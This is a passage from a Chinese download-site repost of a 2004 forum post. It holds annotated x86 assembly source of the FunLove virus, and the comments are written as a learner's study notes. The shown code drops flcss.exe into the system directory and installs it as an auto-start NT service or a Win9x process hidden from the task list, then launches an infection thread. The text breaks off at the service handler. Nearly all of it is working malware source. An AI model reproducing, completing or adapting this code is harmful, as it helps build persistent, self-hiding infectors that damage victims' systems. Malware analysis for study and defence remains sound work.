⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 funlove_vir.txt

📁 FunLove完整病毒分析.txt 论坛潜规则
💻 TXT
📖 第 1 页 / 共 4 页
字号:
补天论坛 - 编程与软件开发   
 
作 者 主题:FunLove完整病毒分析(推荐) 
x-bit
  日期:2004-9-27 20:43:26 
--------------------------------------------------------------------------------
FunLove完整病毒分析(推荐)
 www.hacker.com.cn 黑客防线
 
 
 //学习win32汇编时,边学边找的个练手工具,停停写写的把注释做出来了,
 //感谢给我学习动力和帮助的朋友们,KomsBomb,Vbin.Whg,Wowocockl,Hume.guojpeng,Whale....
 //还有我的女朋友,我永远爱她
 //我的水平很有限,东西肯定不是那么完美,好在我已经尽力做到详细了,因为我觉得
 //如同我一般的想入门的朋友很多,就是没有一份详细的资料,希望这个的东东可以给朋友
 //们以启发,里面有些问号的地方,表示我自己都不大理解,有知道了朋友,请告诉我一下
 //小第不胜感激......
 //希望大家看到有问题的地方一定要告诉我,这就是对我最大的鼓励
 //我们的论坛 http://bbs.logincom.com/bbs/cgi-bin/leoboard.cgi
 // email:jackhy@21cn.com BY JACKHY /CVC.GB
 
 .386
 
 LARGESTACK
 
 RADIX 16
 
 ASSUME CS:CODE,DS:CODE
 
 
 CODE SEGMENT USE32
 
 
 org 100
 
 main:
 
 I equ 1000 - 300
 @ equ + ebx - offset VStart
 
 INCLUDE HEADER.ASM
 
 
 VStart:
 
 INCLUDE HEADER.ASM
 
 
 ; ------------------------------------------------------------------------- ;
 ; ---------------------------- Startup Code --------------------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 Virus PROC NEAR
 
 
 call GetVS ;调用getvs,定位;
 
 lea esi,[HostCode @] ;取得变量hostcode,为后面的寻找kernel的基地址做准备;
 mov edi,[esp] ;取得esp的地址,这里就是程序在kernel32中的返回地址;
 sub edi,08 
 mov [esp],edi
 movsd
 movsd
 
 push dword ptr [esp + 04];注意这个是esp+04,详情看后面;
 call RelocKernel32 ;调用relockernel32,初始化api地址;
 
 or eax,eax;判断返回的值时候是成功;
 jz short Exit;失败则跳转;
 
 cmp byte ptr [OS @],00 ;通过标志值判断操作系统;
 jnz short NT_Srv ;如果不是00(9x)的标志,就去nt模块执行;
 
 call Create9xProcess ;调用create9x进程,开始做9x下的处理;
 ret ;返回;
 
 NT_Srv: call CreateNTService ;调用nt进程。开始做nt/2000下的处理;
 Exit: ret ;返回;
 
 
 Virus ENDP
 
 
 ; ------------------------------------------------------------------------- ;
 ; -------------------- NT Service Creation Routine -------------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 CreateNTService PROC PASCAL NEAR
 
 
 LOCAL SCM_Handle : DWORD;定义本地变量,保存scm控制句柄;。
 
 
 call RelocAdvapi32;取得高级api的入口地址
 
 or eax,eax --------|
 jz short CNT_Failed-----|错误处理;
 
 push 02-------------------|
 push 00 |
 push 00 |
 call OpenSCManagerA-------|以允许创建服务的方式打开manger的数据库,并且返回 一个句柄保存在eax中;
 
 or eax,eax -----------|
 jz short CNT_Failed-----|错误处理;
 
 mov SCM_Handle,eax;成功就保存在变量scm_handle中;
 
 call CreateExecutable;调用过程建立文件flcss.exe
 
 or eax,eax ----|
 jz short CNT_Exit-----|文件存在则退出;
 
 mov edi,0F01FF--------------|这里的具体含义是什么我不大懂
 lea esi,[Service @] |
 push edi |
 push esi |
 push SCM_Handle |
 call OpenServiceA------------|打开指定的服务,函数执行成功则返回指向flc服务 的句柄
 
 or eax,eax----------------|
 jnz short CNT_Run----------|如果有这个服务就去启动它;
 
 xor eax,eax-----------------------|
 push eax | 
 push eax | 
 push eax |
 push eax |
 push eax |
 lea eax,[Buffer1 @] ; -> flcss.exe|
 push eax |
 push 01 ; ErrorControl|错误控制
 push 02 ; Start |自动启动的方式,本服务采用;
 push 20 ; Type |这里是访问权限,我不清楚 
 push edi |
 push 00 |
 push esi | 
 push SCM_Handle |
 call CreateServiceA----------------|建立服务flc,关联进程为flcss.exe
 
 or eax,eax-----------------------|
 jz short CNT_Failed--------------|错误处理
 
 CNT_Run:
 
 push 00------------|
 push 00 |
 push eax |
 call StartServiceA-|启动服务;
 
 or eax,eax-----------|
 jnz short CNT_Exit----|成功则退出;
 
 CNT_Failed:
 
 call StartInfectionThread;失败,直接启动感染线程;
 
 CNT_Exit:
 
 ret
 
 
 CreateNTService ENDP
 
 
 ; ------------------------------------------------------------------------- ;
 ; -------------------- W9x Process Creation Routine ------------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 Create9xProcess PROC NEAR
 
 
 call CreateExecutable ;创建flcss.exe文件;
 
 or eax,eax ----|比较返回值,失败就退出
 jz short P9x_Exit-|
 
 P9x_00:
 
 xor eax,eax ---------|
 lea edi,[Buffer2 @] |
 push edi |buffer2初始化;
 push edi |
 mov ecx,040 |
 repz stosd -------------|
 
 mov cl,06--------------|循环6次,压入参数,为了createprocess做准备
 push eax |
 loop $ - 1--------------|
 
 lea esi,[Buffer1 @]---|
 push esi |
 push 00 |
 call CreateProcessA----|建立进程,执行flcess.exe
 
 or eax,eax ----------|
 jnz short P9x_Exit----|成功则返回
 
 P9x_Failed:
 
 call StartInfectionThread;失败,就在宿主进程里直接创建一个线程执行;
 
 P9x_Exit:
 ret ;返回;
 
 
 Create9xProcess ENDP
 
 
 ; ------------------------------------------------------------------------- ;
 ; --------------------- flcss.exe Creation Routine -------------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 CreateExecutable PROC PASCAL NEAR
 
 
 LOCAL c_FileHandle : DWORD, \ 定义本地变量c_filehandle,存放文件句柄用;
 c_BytesWritten : DWORD ;定义本地变量c_bytewritten,存放写入字节数;
 
 USES esi,edi ;保存esi,edi的值,本过程结束后恢复;
 
 
 lea edi,[Buffer1 @] ;取得buffer1的地址,用来存放路径;
 push edi ;保存,这里先压,后面的操作用到的时候就可以不压了
 
 
 push 104;要取得的路径的长度;
 push edi;压栈,做为getsystemdirectory的参数;
 call GetSystemDirectoryA ;调用api得到系统目录的路径。结果保存在buffer1里
 例如:btffer1里面为“C:\WINDOWS\SYSTEM"
 add edi,eax ;eax返回的是实际长度,所以edi+eax就是指向现在的字符串的最后
 mov al,‘\‘ ;
 stosb ; 然后加上”\’号,构成完整的路径"C:\WINDOWS\SYSTEM\";
 lea esi,[Process @] -----|
 movsd |把flcss.exe加在路径后现在的buffer的内容是
 movsd | C:\WINDOWS\SYSTEM\flcss.exe
 movsd --------| 
 
 push 02 ; 建立文件;(这里有些奇怪,少了个参数)
 call OpenFile
 
 cmp eax,-1 ----| 失败就退出
 jz short CE_Exit--|
 
 mov c_FileHandle,eax ;保存成功后的文件句柄;
 
 lea edi,[VImports + 4 @] ---| 
 mov eax,-1 |
 stosd |清理主引入表
 stosd ---------------------| 
 
 lea edi,[Kernel32_Relocated @]----| 
 mov eax,[edi - 8] |清理第二个引入表;
 stosd ---------------------|
 
 push 00 -----------|写入文件头,把pe文件的头部写入到新建立的 |文件中去;
 lea esi,c_BytesWritten |
 push esi |注意:ebx是开始写入的地址,在程序中,因为定 |位后它是做为的定位的基地址处理的,大家在看 |看前面的 VStart:
 | INCLUDE HEADER.ASM
 |因为程序包含了header.asm,所以这里其实就是 |指向了header.asm的开始位置,就是文件头了
 |所以就用的是ebx
 push 0200 |
 push ebx |
 push c_FileHandle |
 call WriteFile --------------|
 
 push 00 --------------------|
 push esi |写入病毒体,把包括文件头再内的病毒体一起写 |入到文件中去
 push Phys_VSize |
 push ebx |
 push c_FileHandle |
 call WriteFile ----------------| 
 
 push c_FileHandle--------------|关闭文件
 call CloseHandle---------------|
 
 CE_Exit:
 
 inc eax ;eax加1,做为成功与否的判断;
 ret ;返回;
 
 
 CreateExecutable ENDP
 
 
 ; ------------------------------------------------------------------------- ;
 ; --------------------------- Viral Service --------------------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 VService PROC NEAR;这里就是作为病毒体写入后运行的程序段了,和直接执行的 不大相同;
 
 
 call GetVS ;定位;
 
 push dword ptr [esp]---|
 call RelocKernel32-----|取得api的入口地址
 
 or eax,eax-----------|
 jz VS_Exit-----------|失败退出;
 
 cmp byte ptr [OS @],00----------|
 jz short W9x_Service_Register--|比较开始判断产生的os标志值,得到os的标志
 如果是nt,就顺序执行;
 
 
 WNT_Service_Hacknowledge://nt模块的处理,这里是//
 
 
 call RelocAdvapi32;动态搜索高级api的入口地址;
 or eax,eax-------|
 jz VS_Exit-------|失败退出本过程;
 
 lea esi,[Buffer1 @]
 
 xor eax,eax
 lea ecx,[Service @];取得服务名,为后面的登记服务函数做准备;
 lea edx,[ServiceDispatcher @];取得作为服务处理程序运行的过程的有效地址;
 mov [esi],ecx---------|
 mov [esi + 04],edx |
 mov [esi + 08],eax | 
 mov [esi + 0C],eax | 
 | 
 push esi---------------|在buffer1中构造参数,压栈, 
 call StartServiceCtrlDispatcherA;建立服务进程主线程即ServiceDispatcher与服 务控制管理器的连接,我的理解是在系统服务的数 据结构里面做个登记;
 W9x_Service_Register:://9x模块的处理,这里是//
 
 
 lea esi,[USER32_Name @]-----|
 push esi |
 call LoadLibraryA------------|加载user32.dll库
 
 lea esi,[RegisterClassA + 7 @]----|
 push esi | 
 push eax |
 call GetProcAddress----------------|取得RegisterClass这个api的入口地址;
 
 or eax,eax------------------|
 jz short VS_00--------------|失败就直接启动感染线程;
 
 mov [esi - 06],eax;成功就保存其入口地址;
 
 lea esi,[Buffer1 @]--------|
 mov edi,esi |
 xor eax,eax |
 mov ecx,0A |
 repz stosd -----------------|初始化缓冲区,以作为下面的registercalssapi的参 数 
 
 mov dword ptr [esi + 04],-1 ---------|注册一个窗体类,名字为flc; 
 mov dword ptr [esi + 10],400000 |
 lea eax,[Service @] | 
 mov [esi + 24],eax |
 |
 push esi |
 call RegisterClassA --------------------|
 
 lea esi,[RegisterServiceProcess + 7 @]---|
 push esi | 
 push dword ptr [Kernel32_Base @] |
 call GetProcAddress-----------------------| 取得RegisterServiceProcess的入口 地址在kernel32的内存映射空间里 
 
 or eax,eax--------------------|
 jz short VS_00----------------|失败,直接启动感染过程;
 
 mov [esi - 06],eax;保存其入口地址;
 
 call GetCurrentProcessId ;取得当前进程的唯一id,作为下面的api的参数;
 
 push 01 ---------| 
 push eax |
 call RegisterServiceProcess------|注册当前进程为系统服务,既使得程序在
 ctrl+del+alt里面消失
 
 push 8*1000d ------------|
 call Sleep---------------|睡眠8秒种;
 
 VS_00:
 call StartInfectionThread;启动感染过程;
 
 VS_Exit:
 ret
 
 
 VService ENDP
 
 
 ; ------------------------------------------------------------------------- ;
 ; ----------------------- NT Service Dispatcher ----------------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 ServiceDispatcher PROC PASCAL NEAR
 
 
 LOCAL Service_Handle : DWORD;定义本地变量保存服务句柄用;
 
 
 call GetVS;定位;(可不可以不这么做?);
 
 lea esi,[ServiceHandler @]----------|
 lea edi,[Service @] |
 push esi |
 push edi |
 call RegisterServiceCtrlHandlerA-----|返回一个用于可以控制服务的句柄
 
 mov Service_Handle,eax;保存在service_handle这个变量中;
 
 lea esi,[Buffer1 @]------|
 mov edi,esi |
 mov ecx,06 |
 xor eax,eax |
 repz stosd----------------|初始化缓冲区buffer1,全0
 
 mov dword ptr [esi],10----------|
 mov dword ptr [esi + 04],04 |
 mov dword ptr [esi + 08],07-----|初始化参数;
 
 push esi ----------------| 
 push Service_Handle |
 call SetServiceStatus ------------|初始化当前状态,并告诉win系统,come on, 我准备好了,我的当前的信息已经告诉你了
 
 push 8*1000d-----|
 call Sleep-------|睡眠8秒(为什么?又睡觉!!!?);
 
 call StartInfectionThread;启动感染子线程;
 ret
 
 
 ServiceDispatcher ENDP
 
 
 ; ------------------------------------------------------------------------- ;
 ; -------------------------- Service Handler -------------------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 ServiceHandler PROC NEAR

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -